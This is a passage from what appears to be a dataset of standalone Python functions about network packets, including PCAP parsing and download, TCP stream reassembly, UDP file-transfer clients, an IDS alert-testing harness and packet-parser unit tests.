self.assertEqual(bytes[0], 7)","def doTest(self, module, payloads):\n for payload in payloads:\n # Perform test & write report\n str = \"TEST #%s - %s\" % (self.testnum, payload[0])\n print str[:62].ljust(65,'.'),\n #test_dt_start = datetime.datetime.now()\n test_dt_start = time.strftime('%Y-%m-%d %H:%M:%S')\n pattern = \"\"\n\n if payload[1] == \"socket\":\n cmd = self.commandParser('socket', payload[4])\n (test_port, test_proto) = (payload[2], payload[3].lower())\n test_payload = cmd\n if payload[3].lower() == 'tcp':\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n else:\n s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n s.connect((self._target,payload[2]))\n s.send(cmd)\n pattern = payload[5]\n s.close()\n elif payload[1] == \"command\":\n cmd = self.commandParser('command', payload[2])\n (test_port, test_proto) = (None, None)\n test_payload = ' '.join(cmd)\n if self._debug==1:\n print \"\\n\\n***Debug: sending command: %s\" % ' '.join(cmd)\n subprocess.call(cmd)\n else:\n subprocess.call(cmd, stdout=subprocess.PIPE)\n pattern = payload[3]\n elif payload[1] == \"scapy\":\n cmd = self.commandParser('scapy', payload[2])\n if self._debug == 1:\n print \"\\n\\n***Debug: sending scapy payload: %s\" % cmd\n cmd = cmd.replace('verbose=0', 'verbose=1')\n (test_port, test_proto) = (None, None)\n test_payload = cmd\n eval(cmd)\n pattern = payload[3]\n elif payload[1] == \"pcap\":\n pcap = os.path.join(self.config.get('PATHS', 'pcapdir'), payload[2])\n (test_port, test_proto) = (None, None)\n test_payload = pcap\n if self._debug == 1:\n # verbose mode\n print \"Pcap Replay file\"\n cmd = [self.config.get('ENV','sudo'), self.config.get('ENV','tcpreplay'), '-i', self.config.get('CLIENT','iface'), pcap]\n else:\n # quiet mode\n cmd = [self.config.get('ENV','sudo'), self.config.get('ENV','tcpreplay'), '-q', '-i', self.config.get('CLIENT','iface'), pcap]\n if self._debug==1:\n subprocess.call(cmd)\n else:\n subprocess.call(cmd, stdout=subprocess.PIPE)\n pattern = payload[3]\n\n test_dt_end = time.strftime('%Y-%m-%d %H:%M:%S')\n\n # Sleep before getting alerts\n time.sleep(int(self.config.get('TIMING', 'sleepbeforegetalerts')))\n\n # Get new alerts and calculate new offset\n self.getAlertsFile()\n res = self.getAlertsFromOffset(self.config.get('PATHS', 'tempfile'), self.offset)\n\n # Sig matching\n if pattern != \"\":\n if re.search(pattern, res):\n test_flag = 2\n else:\n if res == '':\n test_flag = 0\n else:\n test_flag = 1\n test_sig_match = pattern\n else:\n test_sig_match = None\n test_flag = None\n\n test_alert = res\n self.offset = self.getOffset(self.config.get('PATHS', 'tempfile'))\n\n database.DB(self._cnf).addTestResult((module, payload[1], test_dt_start,\n test_dt_end, payload[0], test_port, test_proto, test_payload,\n test_sig_match, res, test_flag))\n\n print \"[ done ]\"\n \n # Sleep before next test\n time.sleep(int(self.config.get('TIMING', 'sleepbeforenexttest')))\n self.testnum += 1","def download_pcap(self, args=None):\r\n result = {\"Task\": \"DownloadPCAP\", \"Error\": \"NoError\", \"Status\": \"FileNotFound\", \"FileName\": args['filename'],\r\n \"FileSize\": 0, \"FileType\": \"UnKnown\", \"FileURL\": 'UnKnown', \"FileUser\": 'UnKnown'}\r\n with EndaceWebSession(app_url=self.applianceurl, username=self.username, password=self.password,\r\n cert_verify=self.cert_verify) as sess:\r\n api = EndaceVisionAPIAdapter(sess)\r\n path = \"files\"\r\n rf = api.get(path)\r\n if rf.status_code == 200:\r\n try:\r\n response = rf.json()\r\n except json.decoder.JSONDecodeError:\r\n raise Exception(f\"JsonDecodeError - path {path}\")\r\n else:\r\n meta = response.get(\"meta\", {})\r\n payload = response.get(\"payload\")\r\n if meta:\r\n meta_error = meta[\"error\"]\r\n if meta_error is not None:\r\n if meta_error is not False:\r\n result['Status'] = \"FileNotFound\"\r\n result['Error'] = str(meta_error)\r\n else:\r\n # Download PCAP File\r\n for file in payload:\r\n if result['FileName'] == file['name'] and len(file[\"id\"]):\r\n file_numerical_part = float(re.findall(r'[\\d\\.]+', file['usage'])[0])\r\n\r\n if 'KB' in file['usage']:\r\n filesize = file_numerical_part * 0.001\r\n elif 'GB' in file['usage']:\r\n filesize = file_numerical_part * 1000\r\n elif 'TB' in file['usage']:\r\n filesize = file_numerical_part * 1000000\r\n else:\r\n filesize = file_numerical_part * 1\r\n\r\n if filesize <= int(args['filesizelimit']):\r\n result['FileName'] = file['name'] + \".pcap\"\r\n if not file['status']['inUse']:\r\n # File available to download\r\n pcapfile_url_path = (\"files/%s/stream?format=pcap\" % file[\"id\"])\r\n d = api.get(pcapfile_url_path)\r\n if d.status_code == 200:\r\n demisto.results(fileResult(f'{result[\"FileName\"]}', d.content,\r\n file_type=entryTypes['entryInfoFile']))\r\n\r\n result['FileURL'] = f'[Endace PCAP URL]'\\\r\n f'({self.applianceurl}/vision2/data/'\\\r\n f'{pcapfile_url_path})'\r\n\r\n result['FileSize'] = file['usage']\r\n result['Status'] = \"DownloadFinished\"\r\n result['FileType'] = file['type']\r\n result['FileUser'] = file['user']\r\n else:\r\n result['Status'] = \"FileNotFound\"\r\n result['Error'] = f\"ServerError - HTTP {rf.status_code} to /{path}\"\r\n else:\r\n result['Status'] = \"FileInUse\"\r\n else:\r\n result['Status'] = \"FileExceedsSizeLimit\"\r\n else:\r\n result['Status'] = \"Failed\"\r\n result['Error'] = f\"ServerError - empty meta data from {path}\"\r\n else:\r\n result['Status'] = \"Failed\"\r\n result['Error'] = f\"ServerError - HTTP {rf.status_code} to /{path}\"\r\n\r\n if result['Status'] == 'Failed':\r\n self.handle_error_notifications(result['Error'])\r\n return result","def filter(self):\n # outfile = open(self.newpcap, 'wb')\n # writer = dpkt.pcap.Writer(outfile)\n f = open(self.pcapfile, 'rb')\n packets = dpkt.pcap.Reader(f)\n\n for timestamp, buf in packets:\n eth = dpkt.ethernet.Ethernet(buf)\n if not isinstance(eth.data, dpkt.ip.IP): # 确保以太网数据包含一个IP数据包, Non IP Packet type not supported\n continue # 过滤空IP包\n ip = eth.data # 获取以太网帧（IP数据包）\n if not isinstance(ip.data, dpkt.tcp.TCP): # 在传输层中检查TCP\n continue\n tcp = ip.data # 获取tcp数据\n # print('-->TCP Data: ', repr(tcp))\n\n \"\"\" 过滤三次握手后的首包\"\"\"\n seq = self.seq_pattern.findall(repr(tcp))\n ack = self.ack_pattern.findall(repr(tcp))\n if not (seq or ack): # seq、ack必须有一个, 一真即真\n continue\n if ack:\n ack = ack[0]\n if seq:\n seq = seq[0]\n\n if not ack and seq: # 一次握手请求\n self.hash_table[seq] = {}\n self.stream_table[seq] = [buf]\n if ack and seq: # 二次、三次、交流包\n if str(int(ack) - 1) in self.hash_table.keys(): # 有一次握手记录\n number = str(int(ack) - 1)\n if 'second' not in self.hash_table[number].keys(): # 新增二次握手\n self.hash_table[number]['second'] = {'seq': seq, 'ack': ack}\n self.stream_table[number].append(buf) # 将二次握手添加到buf\n self.resp_relation[seq] = ack # 新增关系表\n\n # 存在二次握手记录, 看hash表有无第三次握手记录, 有就保存stream流\n # 基本就是traffic响应包了\n elif 'three' in self.hash_table[number].keys():\n if number not in self.stream_table.keys():\n self.stream_table[number] = []\n self.stream_table[number].append(buf)\n else:\n self.stream_table[number].append(buf)\n\n # ack-1没有对应的hash表, 可能是三次握手或traffic请求包\n elif str(int(seq) - 1) in self.hash_table.keys():\n number = str(int(seq) - 1)\n if 'second' not in self.hash_table[number]:\n pass\n elif 'three' not in self.hash_table[number]: # 三次包\n self.hash_table[number]['three'] = {'seq': seq, 'ack': ack}\n self.stream_table[number].append(buf)\n # 否则就是traffic包了\n else:\n if number not in self.stream_table.keys():\n self.stream_table[number] = []\n self.stream_table[number].append(buf)\n else:\n self.stream_table[number].append(buf)\n # traffic响应包\n elif str(int(seq) - 1) in self.resp_relation.keys():\n number = str(int(seq) - 1)\n second_ack = self.resp_relation[number]\n number = str(int(second_ack) - 1)\n if number not in self.stream_table.keys():\n self.stream_table[number] = []\n self.stream_table[number].append(buf)\n else:\n self.stream_table[number].append(buf)\n else:\n continue # seq不存在\n\n # outfile.close()\n f.close()","def goBackNSend(self, f):\n size = Rudp.getFileSize(f)\n log.info(\"File Size: \" + str(size))\n\n self.stopAndWaitSendData(Rudp.signature.encode())\n self.stopAndWaitSendData(str(size).encode())\n\n # a list holding on-flight packets\n sendList = []\n # indicates the end of file\n readEnd = False\n # store recent acks for congestion control\n ackList = []\n\n while (not readEnd) or (len(sendList)):\n # fill sendList\n packetToFill = RudpSender.sendWindow - len(sendList)\n if packetToFill > 0:\n for i in range(packetToFill):\n data = self.__readNext(f)\n if data:\n p = self.send(data)\n print(\"Packet Seq: \", p.seq, \" Added to Send List\")\n sendList.append(p)\n else:\n readEnd = True\n # try to receive ack\n try: \n while len(sendList):\n ack = self.acknowledge()\n print(\"Ack Received: \", ack)\n self.mark(sendList, ack)\n ackList.append(ack)\n self.checkDupAcks(ackList)\n sendList = Rudp.cleanPacketList(sendList)\n except socket.timeout:\n print(\"Timeout\")\n self.resendPackets(sendList)\n if RudpSender.enableCongestionControl:\n self.congestionControl(RudpSender.LossEvent.Timeout) \n except RudpSender.DupAcks:\n print(\"Dupacks\")\n ackList = []\n self.resendPackets(sendList)\n if RudpSender.enableCongestionControl:\n self.congestionControl(RudpSender.LossEvent.DupAcks)\n else:\n if RudpSender.enableCongestionControl:\n self.congestionControl(RudpSender.LossEvent.NoLoss)","def file_request(self):\n magic_number = int.to_bytes(int(0x497E), 2, byteorder='big') \n type_bytes = int.to_bytes(1, 1, byteorder='big')\n filename_in_bytes = bytes(self.file_name, 'utf-8') #ENCODE FILENAME IN BYTES\n try:\n filename_len = int.to_bytes(len(filename_in_bytes), 2, byteorder='big')\n except OverflowError:\n self.socket.close()\n sys.exit(\"ERROR: Filename is too long, Stack Overflow\") \n \n message_to_send = bytearray(magic_number+type_bytes+filename_len+filename_in_bytes)\n self.socket.send(message_to_send)\n \n #WAIT FOR FILE RESPONSE FROM SERVER\n try:\n self.socket.settimeout(1)\n while True: #LOOP TO RECIEVE DATA IN CHUNKS <= 4096 BYTES\n data = self.socket.recv(4096)\n if data:\n self.data += data\n else:\n break\n\n self.socket.settimeout(None)\n self.socket.close()\n\n except socket.timeout:\n self.socket.close()\n sys.exit(\"ERROR: Connection timed out\")","def read_service_loop(self):\n\t\n\t#Increment start_position each time packet sent, send a read request packet for each new position.\n\t#Expect to receive a read_response packet for each time read request sent.\n\trecv_data = None\n\tprint(\"Sending request to server to read and receive file...\")\n\tstart_position = 0\n\twhile(self.eof == False):\n\t print(\"Reading from byte \" + str(start_position))\t \n\t num_retransmits = 0 \n\t #Loop for retransmissions of the same start position\n\t while(num_retransmits < 60):\n\t\tnum_retransmits = num_retransmits + 1\n\t\tself.send_read_request(start_position)\n\t\tinput_socket = [self.client_socket]\n\t\tinputready,outputready,exceptready = select.select(input_socket,[],[], 1)\t\t\n\t\tif (inputready == []):\n\t\t continue\t\t\n\t\telse:\n\t\t recv_data = self.client_socket.recv(self.buffer_)\t\t \n\t\t if (random.uniform(0,1) < self.p):\n\t\t\trecv_data = None\n\t\t\tprint(\"Packet dropped randomly to simulate packet losses\")\n\t\t\tcontinue\t\t \n\t\t bit_signature = recv_data[0:4]\n\t\t response_type = recv_data[4:8]\n\t\t recv_payload = recv_data[8:]\t \n\t\t if bit_signature != \"\\x00\\x00\\x00\\r\":\n\t\t\tself.recv_invalid_response(recv_data, \"bit_signature\")\n\t\t\tcontinue\n\t\t else:\n\t\t\tif response_type == \"\\x00\\x00\\x00\\x02\":\n\t\t\t #Packet is valid, proceed to recv_read_response to append this bit of file received into local_filename\n\t\t\t self.file_append = open(self.local_filename, 'r+b')\n\t\t\t self.recv_read_response(recv_payload)\n\t\t\t break\n\t\t\telse:\n\t\t\t self.recv_invalid_response(recv_data, \"response_type\")\n\t\t\t continue\n\t\t\n\t start_position = start_position + self.NUM_BYTES_TO_READ\t\t\n\t if (num_retransmits >= 60):\n\t\tprint (\"Exceeded number of retransmissions allowed. Exiting program.\")\n\t\tsys.exit()\t \t\t\n\treturn","def make_tdm_packet_list(bfile):\n\n tdm_list = []\n\n if os.path.exists(bfile):\n with open(bfile, mode='rb') as f:\n num_bytes = os.path.getsize(bfile)\n while f.tell() < num_bytes:\n ver_adf = f.read(1)\n ver = int.from_bytes(ver_adf, byteorder='big') >> 4\n adf_words = int.from_bytes(ver_adf, byteorder='big') & 0x0f\n f.read(1) # Read byte. Field is RESERVED\n flags = int.from_bytes(f.read(2), byteorder='big')\n mdid = int.from_bytes(f.read(4), byteorder='big')\n seqno = int.from_bytes(f.read(4), byteorder='big')\n msglen = int.from_bytes(f.read(4), byteorder='big')\n secs = int.from_bytes(f.read(4), byteorder='big')\n nanosecs = int.from_bytes(f.read(4), byteorder='big')\n hdrlen = 24 + (adf_words * 4)\n adf_payload = ''\n if adf_words > 0:\n adf_payload = f.read(adf_words * 4)\n payloadlen = msglen - hdrlen\n payload = f.read(payloadlen)\n\n new_msg = TmnsDataMessage(ver=ver, flags=flags, mdid=mdid, seqno=seqno, msglen=msglen, secs=secs,\n nanosecs=nanosecs, adf_payload=adf_payload, payload=payload)\n tdm_list.append(new_msg)\n return tdm_list\n else:\n print(\"The file '{0}' was not found.\".format(bin))\n return tdm_list","def get_pcap_by_id():\n sample_id = demisto.getArg('id')\n r = req('GET', SUB_API + 'samples/' + sample_id + '/network.pcap')\n ec = {'ThreatGrid.Sample.Id': sample_id}\n demisto.results([\n {\n 'Type': entryTypes['note'],\n 'EntryContext': ec,\n 'HumanReadable': '### ThreatGrid Sample Run PCAP File -\\n'\n + 'Your sample run PCAP file download request has been completed successfully for '\n + sample_id,\n 'Contents': ec,\n 'ContentsFormat': formats['json']\n },\n fileResult(sample_id + '-pcap.json', r.content)\n ])","def drop_packets(self, verbose=False):\n while True:\n try:\n packet, address = self._socket.recvfrom(10240)\n except:\n break\n\n if verbose:\n logger.debug(\"dropped %d bytes from %s:%d\", len(packet), address[0], address[1])","def test_controller_buffer_randomized() -> None:\n # Note that this code, since it was written, broke even furthere. For instance, some of the\n # attributes accessed by this test don't exist any more (see the `type: ignore[attr-defined]`\n # comments).\n\n test_directory = os.path.dirname(os.path.abspath(__file__))\n datafile_path = \"%s/response_samples.txt\" % (test_directory)\n\n gdbmi = GdbController()\n for stream in gdbmi._incomplete_output.keys(): # type: ignore[attr-defined]\n responses = []\n with open(datafile_path, \"rb\") as f:\n while True:\n n = random.randint(1, 100)\n # read random number of bytes to simulate incomplete responses\n gdb_mi_simulated_output = f.read(n)\n if gdb_mi_simulated_output == b\"\":\n break # EOF\n\n # let the controller try to parse this additional raw gdb output\n responses += gdbmi._get_responses_list(gdb_mi_simulated_output, stream) # type: ignore[attr-defined]\n assert len(responses) == 141\n\n # spot check a few\n assert responses[0] == {\n \"message\": None,\n \"type\": \"console\",\n \"payload\": \"0x00007fe2c5c58920 in __nanosleep_nocancel () at ../sysdeps/unix/syscall-template.S:81\\\\n\",\n \"stream\": stream,\n }\n if not USING_WINDOWS:\n # can't get this to pass in windows\n assert responses[71] == {\n \"stream\": stream,\n \"message\": \"done\",\n \"type\": \"result\",\n \"payload\": None,\n \"token\": None,\n }\n assert responses[82] == {\n \"message\": None,\n \"type\": \"output\",\n \"payload\": \"The inferior program printed this! Can you still parse it?\",\n \"stream\": stream,\n }\n assert responses[137] == {\n \"stream\": stream,\n \"message\": \"thread-group-exited\",\n \"type\": \"notify\",\n \"payload\": {\"exit-code\": \"0\", \"id\": \"i1\"},\n \"token\": None,\n }\n assert responses[138] == {\n \"stream\": stream,\n \"message\": \"thread-group-started\",\n \"type\": \"notify\",\n \"payload\": {\"pid\": \"48337\", \"id\": \"i1\"},\n \"token\": None,\n }\n assert responses[139] == {\n \"stream\": stream,\n \"message\": \"tsv-created\",\n \"type\": \"notify\",\n \"payload\": {\"name\": \"trace_timestamp\", \"initial\": \"0\"},\n \"token\": None,\n }\n assert responses[140] == {\n \"stream\": stream,\n \"message\": \"tsv-created\",\n \"type\": \"notify\",\n \"payload\": {\"name\": \"trace_timestamp\", \"initial\": \"0\"},\n \"token\": None,\n }\n\n for stream in gdbmi._incomplete_output.keys(): # type: ignore[attr-defined]\n assert gdbmi._incomplete_output[stream] is None # type: ignore[attr-defined]","def receive_captured_list(self):\n reply = self.socket.recv(4096)\n print(\"Pokemon capturados\")\n print(reply[1:].decode())","def _write_test_dump(pcap_file, dump):\n\t\tfor packet in dump:\n\t\t\twrpcap(pcap_file, packet, append=True)","def _parse(self):\n \n global _tcp_buf\n _tcp_buf = {}\n number = 1\n for raw_packet in self.raw_packets:\n pcap_packet = Pcap_packet()\n self.pcap_packets.append(pcap_packet)\n pcap_packet.pcap_num = number\n number += 1\n pcap_packet.top_layer = 1\n pcap_packet.ethernet = Ethernet(raw_packet[0:14])\n \n #skip the packet that is not ip packet\n if (pcap_packet.ethernet.type != 'IP'):\n continue\n \n pcap_packet.top_layer = 2\n pcap_packet.ip = Ip(raw_packet[14:])\n \n #skip the packet that is not tcp message\n if (pcap_packet.ip.protocol != 'TCP'):\n continue\n \n pcap_packet.top_layer = 3\n pcap_packet.tcp = Tcp(pcap_packet.ip.packet[pcap_packet.ip.header_len: ])\n \n #skip the packets that is not http packet\n if (pcap_packet.tcp.src_port != 80 and pcap_packet.tcp.dst_port != 80):\n continue\n \n #dispatch the tcp into tcp streams\n self._add_pkt_into_tcp_stream(pcap_packet, pcap_packet.pcap_num)\n \n #reassemble tcp packet\n self._tcp_reassemble(pcap_packet.pcap_num, pcap_packet.ip.src, pcap_packet.ip.dst, pcap_packet.tcp)\n #endof for\n #flush the tcp_buf, other wise it will lose some http response\n for sockets in _tcp_buf.keys():\n self._tcp_flush(sockets)\n del _tcp_buf[sockets]","def replay_tdm_stream_to_pcap_output(bfile=None, mdid_list=None, pcap=None):\n\n tdm_list = make_tdm_packet_list(bfile)\n tdm_cnt = len(tdm_list)\n pkt_list = []\n\n for i, tdm in enumerate(tdm_list):\n if tdm.mdid in mdid_list:\n ip_addr = mdid_list[tdm.mdid].dst_addr\n dport = mdid_list[tdm.mdid].dst_port\n else:\n ip_addr = '239.88.88.88' # Default IP address to use IF MDID is not found in the MDL file\n dport = 50003 # Default UDP destination port to use IF MDID is not found in the MDL file\n msg_ip_hdr = IP(version=4, ihl=5, flags='DF', ttl=4, dst=ip_addr)\n msg = msg_ip_hdr / UDP(sport=55501, dport=dport) / Raw(tdm.get_raw())\n\n pkt_list.append(msg)\n\n wrpcap(pcap, pkt_list, append=True)\n print(\"Wrote {0} TDMs to the PCAP file: {1}\".format(tdm_cnt, pcap))","def generate_packets():\n num_packets = randrange(10)\n temp_packets = []\n for i in range(num_packets):\n temp_packets.append(randrange(1000))\n return temp_packets","def main():\n connection = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.htons(0x03))\n\n # Start the main loop.\n while True:\n # 65536 is the biggest buffer size that can be used.\n raw_data, addr = connection.recvfrom(65536)\n dest_mac, src_mac, eth_proto, data = ethernet_frame(raw_data)\n print('\\nEthernet Frame:')\n print('Destination: {}, Source: {}, Protocol: {}'.format(dest_mac, src_mac, eth_proto))","def process_message(msg):\n global fout\n print(\"received \")\n if len(msg)==200: #is header or end\n msg_in=msg.decode(\"utf-8\",\"ignore\")\n msg_in=msg_in.split(\",,\")\n if msg_in[0]==\"header\": #header\n filename=extract_file_data(msg_in[1])\n file_out=\"copy-\"+filename\n fout=open(file_out,\"wb\") #use a different filename\n\n if msg_in[0]==\"end\": #is it really last packet?\n in_hash_final=in_hash_md5.hexdigest()\n if in_hash_final==msg_in[2]:\n print(\"File copied OK -valid hash \",in_hash_final)\n else:\n print(\"Bad file receive \",in_hash_final)\n return False\n else:\n if msg_in[0]!=\"header\":\n in_hash_md5.update(msg)\n return True\n else:\n return False\n else:\n in_hash_md5.update(msg)\n #msg_in=msg.decode(\"utf-8\",\"ignore\")\n if len(msg) <100:\n print(msg)\n return True","def main():\n # Set up socket\n s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n s.bind(('localhost', 12345))\n dat = b''\n dataSegement = [0] * 5\n\n while True:\n seg, addr = s.recvfrom(MAX_DGRAM)\n print(\"type: \", type(seg))\n chunk_number = struct.unpack(\"B\", seg[0:1])[0]\n if chunk_number > 1:\n print(\"chunk_number: \", chunk_number)\n dat += seg[1:]\n else:\n dat += seg[1:]\n img = cv2.imdecode(np.frombuffer(dat, dtype=np.uint8), 1)\n cv2.imwrite(\"image/4k_image_sample_compressed.jpg\", img)\n if cv2.waitKey(1) & 0xFF == ord(\"q\"):\n break\n dat = b\"\"","def main():\n parser = argparse.ArgumentParser(description='Convert DJI P3 packets sniffed from a serial link into pcap format')\n\n parser.add_argument('port1',\n help='The serial port to read from')\n\n parser.add_argument('port2',\n help='The serial port to read from')\n\n parser.add_argument('-b', '--baudrate', default=115200, type=int,\n help='The baudrate to use for the serial port (defaults to %(default)s)')\n\n parser.add_argument('-u', '--userdlt', default=0, type=int,\n help='The data link type of the PCap DLT_USER protocol (defaults to %(default)s)')\n\n parser.add_argument('-e', '--storebad', action='store_true',\n help='Enables storing bad packets (ie. with bad checksums)')\n\n output = parser.add_mutually_exclusive_group()\n\n output.add_argument('-q', '--quiet', action='store_true',\n help='Do not output any informational messages')\n\n output.add_argument('-v', '--verbose', action='count', default=0,\n help='Increases verbosity level; max level is set by -vvv')\n\n output = parser.add_mutually_exclusive_group()\n\n output.add_argument('-F', '--fifo',\n help='Write output to a fifo instead of stdout. The fifo is created if needed and capturing does not start until the other side of the fifo is opened.')\n\n output.add_argument('-w', '--write-file',\n help='Write output to a file instead of stdout')\n\n options = parser.parse_args();\n\n try:\n # If the fifo got closed, just start over again\n while True:\n do_sniff_once(options)\n except KeyboardInterrupt:\n pass","def main():\n\n radio = initialize_radios(0, 25, 0x60)\n\n radio.openWritingPipe(pipes[0])\n radio.openReadingPipe(0, pipes[1])\n\n print(\"Sender Information\")\n radio.printDetails()\n\n payload_list = list()\n\n out = False\n count = 0\n actual_ack = None\n while not out:\n radio.startListening()\n wait_for_data(radio)\n\n # recv_buffer is the array where received data will be placed\n recv_buffer = []\n radio.read(recv_buffer, radio.getDynamicPayloadSize())\n chunk_and_ack = recv_buffer[:-5]\n ack_num = recv_buffer[-7:-5]\n crc = recv_buffer[-5:]\n data = recv_buffer[:-7]\n ack_num_str = bytes(ack_num).decode('utf-8'\n ''\n ''\n ''\n ''\n ''\n ''\n ''\n ''\n ''\n ''\n ''\n ''\n ''\n )\n data_str = bytes(data)\n\n radio.stopListening()\n if (actual_ack != ack_num_str) and (data_str != b'TH1SPR0GRAMSHOULDBEOVER'):\n if check_crc(chunk_and_ack, crc):\n send_packet(radio, b'1GUTACK')\n payload_list.append(bytes(data))\n actual_ack = ack_num_str\n print(\"Sent ACK number \" + str(count))\n count = count + 1\n else:\n send_packet(radio, b'1BATACK')\n elif (actual_ack == ack_num_str) and (data_str != b'TH1SPR0GRAMSHOULDBEOVER'):\n send_packet(radio, b'1GUTACK')\n elif (actual_ack != ack_num_str) and data_str == b'TH1SPR0GRAMSHOULDBEOVER':\n print(\"Finishing Script\")\n time.sleep(0.5)\n send_packet(radio, b'TH1SISTH3FINALACK')\n out = True\n\n write_file(sys.argv[1], payload_list)","def insert_bad_data():\n get_file_reply(files[2][0], files[2][1])","def testParse(self):\n parser = pcap.PcapParser()\n storage_writer = self._ParseFile(['test.pcap'], parser)\n\n # PCAP information:\n # Number of streams: 96 (TCP: 47, UDP: 39, ICMP: 0, Other: 10)\n #\n # For each stream 2 events are generated one for the start\n # and one for the end time.\n\n self.assertEqual(storage_writer.number_of_events, 192)\n\n events = list(storage_writer.GetEvents())\n\n # Test stream 3 (event 6).\n # Protocol: TCP\n # Source IP: 192.168.195.130\n # Dest IP: 63.245.217.43\n # Source Port: 1038\n # Dest Port: 443\n # Stream Type: SSL\n # Starting Packet: 4\n # Ending Packet: 6\n\n event = events[6]\n self.assertEqual(event.packet_count, 3)\n self.assertEqual(event.protocol, 'TCP')\n self.assertEqual(event.source_ip, '192.168.195.130')\n self.assertEqual(event.dest_ip, '63.245.217.43')\n self.assertEqual(event.dest_port, 443)\n self.assertEqual(event.source_port, 1038)\n self.assertEqual(event.stream_type, 'SSL')\n self.assertEqual(event.first_packet_id, 4)\n self.assertEqual(event.last_packet_id, 6)\n\n # Test stream 6 (event 12).\n # Protocol: UDP\n # Source IP: 192.168.195.130\n # Dest IP: 192.168.195.2\n # Source Port: 55679\n # Dest Port: 53\n # Stream Type: DNS\n # Starting Packet: 4\n # Ending Packet: 6\n # Protocol Data: DNS Query for wpad.localdomain\n\n event = events[12]\n self.assertEqual(event.packet_count, 5)\n self.assertEqual(event.protocol, 'UDP')\n self.assertEqual(event.source_ip, '192.168.195.130')\n self.assertEqual(event.dest_ip, '192.168.195.2')\n self.assertEqual(event.dest_port, 53)\n self.assertEqual(event.source_port, 55679)\n self.assertEqual(event.stream_type, 'DNS')\n self.assertEqual(event.first_packet_id, 11)\n self.assertEqual(event.last_packet_id, 1307)\n self.assertEqual(\n event.protocol_data, 'DNS Query for wpad.localdomain')\n\n expected_message = (\n 'Source IP: 192.168.195.130 '\n 'Destination IP: 192.168.195.2 '\n 'Source Port: 55679 '\n 'Destination Port: 53 '\n 'Protocol: UDP '\n 'Type: DNS '\n 'Size: 380 '\n 'Protocol Data: DNS Query for wpad.localdomain '\n 'Stream Data: \\'\\\\xb8\\\\x9c\\\\x01\\\\x00\\\\x00\\\\x01\\\\x00\\\\x00\\\\x00\\\\x00'\n '\\\\x00\\\\x00\\\\x04wpad\\\\x0blocaldomain\\\\x00\\\\x00\\\\x01\\\\x00\\\\x01\\\\xb8'\n '\\\\x9c\\\\x01\\\\x00\\\\x00\\\\x01\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x04wpa\\' '\n 'First Packet ID: 11 '\n 'Last Packet ID: 1307 '\n 'Packet Count: 5')\n expected_short_message = (\n 'Type: DNS '\n 'First Packet ID: 11')\n\n self._TestGetMessageStrings(event, expected_message, expected_short_message)","def test_data_too_big(self):\n self.client_socket.sendto(b'', DATA_SOCKET_FILE)\n (bytes, address) = self.client_socket.recvfrom(10)\n\n #self.assertEquals(address, DATA_SOCKET_FILE)\n\n # assert a successful registration\n self.assertEqual(len(bytes), 1)\n self.assertEqual(bytes[0], 0)\n\n data = bytearray(100)\n self.assertEqual(len(data), 100)\n self.client_socket.sendto(data, DATA_SOCKET_FILE)\n (bytes, address) = self.client_socket.recvfrom(10)\n # assert a successful transmission\n self.assertEqual(len(bytes), 1)\n self.assertEqual(bytes[0], 1)","def main():\n args = TrafficScriptArg(\n [u\"src_mac\", u\"dst_mac\", u\"src_ip\", u\"dst_ip\", u\"dscp\"]\n )\n\n rxq = RxQueue(args.get_arg(u\"rx_if\"))\n txq = TxQueue(args.get_arg(u\"tx_if\"))\n\n src_mac = args.get_arg(u\"src_mac\")\n dst_mac = args.get_arg(u\"dst_mac\")\n src_ip = args.get_arg(u\"src_ip\")\n dst_ip = args.get_arg(u\"dst_ip\")\n dscp = int(args.get_arg(u\"dscp\"))\n\n ip_layer = IPv6 if ip_address(src_ip).version == 6 else IP\n\n sent_packets = list()\n pkt_send = (Ether(src=src_mac, dst=dst_mac) /\n ip_layer(src=src_ip, dst=dst_ip) /\n TCP())\n\n pkt_send /= Raw()\n sent_packets.append(pkt_send)\n txq.send(pkt_send)\n\n while True:\n pkt_recv = rxq.recv(2, sent_packets)\n if pkt_recv is None:\n raise RuntimeError(u\"ICMPv6 echo reply Rx timeout\")\n\n if pkt_recv.haslayer(ICMPv6ND_NS):\n # read another packet in the queue if the current one is ICMPv6ND_NS\n continue\n elif pkt_recv.haslayer(ICMPv6MLReport2):\n # read another packet in the queue if the current one is\n # ICMPv6MLReport2\n continue\n elif pkt_recv.haslayer(ICMPv6ND_RA):\n # read another packet in the queue if the current one is\n # ICMPv6ND_RA\n continue\n\n # otherwise process the current packet\n break\n\n if pkt_recv is None:\n raise RuntimeError(u\"Rx timeout\")\n\n if ip_layer == IP:\n check_ipv4(pkt_recv, dscp)\n else:\n check_ipv6(pkt_recv, dscp)\n\n sys.exit(0)","def upload_sample(host, port, path, read_type='protobuf'):\n with Connection.connect(host, port) as conn:\n zipped = (path.endswith(\".gz\"))\n r = Reader(path, read_type, zipped)\n hello = r.read_hello()\n hello_bytes = hello.SerializeToString()\n num_snapshot = 1\n for snap in r:\n send_hello(conn, hello_bytes)\n config_bytes = get_config(conn)\n config = Config.deserialize(config_bytes)\n filter_snapshot(snap, config)\n send_snapshot(conn, snap.SerializeToString())\n num_snapshot += 1","def offline_pcap_input_to_file(pcap=None, bfile=None, quick=False):\n\n tdm_cnt = 0\n\n print(\"Offline mode: Reading TDMs from PCAP/PCAPNG file and writing to file.\")\n pkt_list = rdpcap(pcap) # read the PCAP/PCAPNG file and return a list of packets\n\n # Parse the Packet List for TmNS Data Messages (TDMs), and write them to the binary TDM file\n f = open(bfile, 'w+b')\n\n delta_from_current_time = time.time() - pkt_list[0].time\n\n for pkt in pkt_list:\n if pkt[UDP].dport == TDM_PORT:\n if quick is False:\n while (pkt.time + delta_from_current_time) > time.time():\n sleep(0.0001)\n f.write(bytes(pkt[UDP].payload))\n tdm_cnt += 1\n print(\"\\rTDM Count: {0}\".format(tdm_cnt), end=\" \")\n f.close()\n\n if tdm_cnt == 0:\n print(\"ZERO TmNS Data Messages found in {0}. {1} is empty.\".format(pcap, bfile))\n else:\n print(\"\\nComplete. Binary file of {0} TmNS Data Messages is stored at {1}.\".format(tdm_cnt, bfile))","def main():\n filename = None\n\n try:\n opts, args = getopt.getopt(sys.argv[1:], 'f:hu', ['file=', 'help', 'unit_test'])\n except 